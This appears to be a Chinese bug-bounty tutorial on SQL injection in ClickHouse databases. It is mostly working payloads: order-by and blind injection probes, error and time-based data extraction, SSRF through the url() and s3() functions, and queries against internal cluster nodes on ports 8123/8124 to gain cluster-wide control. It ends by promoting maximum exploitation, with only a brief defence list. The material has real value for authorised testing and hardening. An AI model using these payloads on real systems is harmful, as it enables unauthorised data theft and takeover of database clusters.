如何用一种姿势在src斩获30w+赏金?
字数 1104 2025-08-30 06:50:27
ClickHouse SQL注入技术深度解析
1. ClickHouse简介
ClickHouse是由Yandex开源的基于列存储的数据库,专为实时数据分析设计,其处理数据速度比传统方法快100-1000倍。主要特点包括:
- 表级存储引擎插件化,支持20多种引擎(合并树、日志、接口等)
- 广泛应用于电商及数据分析平台
- 国内主要用户:腾讯、阿里、华为、字节、京东、拼多多等
2. SQL注入常见出现点
数据分析相关功能是SQL注入高发区域:
- 数据分析统计页面
- 自定义热力图分析
- 查询筛选功能
- 任何涉及数据统计分析的地方
3. SQL注入判断方法
3.1 常规判断方法
- 对参数进行单双引号fuzz测试
- 观察报错信息或响应长度变化
- 时间参数和排序功能是常见注入点
3.2 排序注入判断
情况A:
"orderby":"adShow,1"返回true"orderby":"adShow,x"或"orderby":"adShow,0"返回false- 表明可能存在注入,可直接在orderby后拼接SQL语句
情况B:
"orderby":"1"返回true"orderby":"x"或"orderby":"0"返回false- 表明可能存在注入
3.3 ClickHouse特性利用
使用toInt64(if(1=1,1,exp(71000)))快速判断:
toInt64(if(1=1,1,exp(71000)))返回truetoInt64(if(1=2,1,exp(71000)))返回false
4. 常用SQL注入Payload
4.1 注入判断Payload
SELECT * from my_new_table order by CAST(create_time AS String);
SELECT * from my_new_table order by sleep(1);
SELECT * from my_new_table order by if(1=1,id,1);
SELECT * from my_new_table order by name;
select sleep(1);
SELECT * from my_new_table order by (SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))
SELECT * from my_new_table order by id,1
SELECT * from my_new_table order by(1=1?1:1)
SELECT * from my_new_table order by toInt64(exp(1))
SELECT * from my_new_table order by toInt64(exp(710))
4.2 信息获取Payload
SELECT id from my_new_table order by toInt64(if(1=2,1,exp(71000)))
SELECT id from my_new_table order by hex(if(mid((select user()),1,1)='d','a','z'))=1
SELECT/**/POSITION('22'/**/IN/**/version())
SELECT/**/POSITION('22'/**/IN/**/user())
SELECT id from my_new_table order by if(1=2,1,sleep(1))
SELECT id from my_new_table order by if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000)))
SELECT id from my_new_table order by (select/**/sleep((database()/**/like/**/'%d%')?1:0))
sleepEachRow(user()like'%default%'if(1=1,1,sleep/**/(if(left(database(),7)='default',3,0)))
select data_path from system.databases where 1=1 order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))
'||currentDatabase()||''||user()||'
select currentDatabase()
select user()
5. 深入利用:SSRF及数据库集群控制
5.1 SSRF漏洞利用
主要由URL函数和S3函数未禁用导致:
URL函数SSRF:
select * from url('https://www.baidu.com', CSV, 'column1 String, column2 UInt32')
-- 盲注场景:
toInt64(if((select substring(c,1,1) from url('https://www.baidu.com',TabSeparated,'c String') limit 0,1)='A',1,exp(71000)))
S3函数SSRF:
s3('https://www.baidu.com',RawBLOB)
SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames') LIMIT 5;
s3('https://www.baidu.com','CSVWithNames')
5.2 数据库集群控制
通过system.clusters表获取集群信息:
select * from system.clusters
-- 利用8123/8124端口未授权查询
SELECT * from url('http:/192.168.1.1:8123?query=showtables',CSV,'column1 String')
6. 漏洞危害提升技巧
- 通过查询
system.clusters获取数据库集群节点信息 - 利用ClickHouse默认开启的8123/8124端口
- 通过query参数拼接SQL语句实现未授权查询
- 理论上可获得DBA权限,控制整个数据库集群
7. 防御建议
- 对用户输入进行严格过滤和参数化查询
- 禁用不必要的函数(URL/S3等)
- 限制数据库权限,避免使用高权限账户
- 对敏感系统表进行访问控制
- 修改默认端口并设置访问控制
通过以上技术,可以有效挖掘和利用ClickHouse中的SQL注入漏洞,从简单的注入点到严重的数据库集群控制,实现漏洞危害的最大化。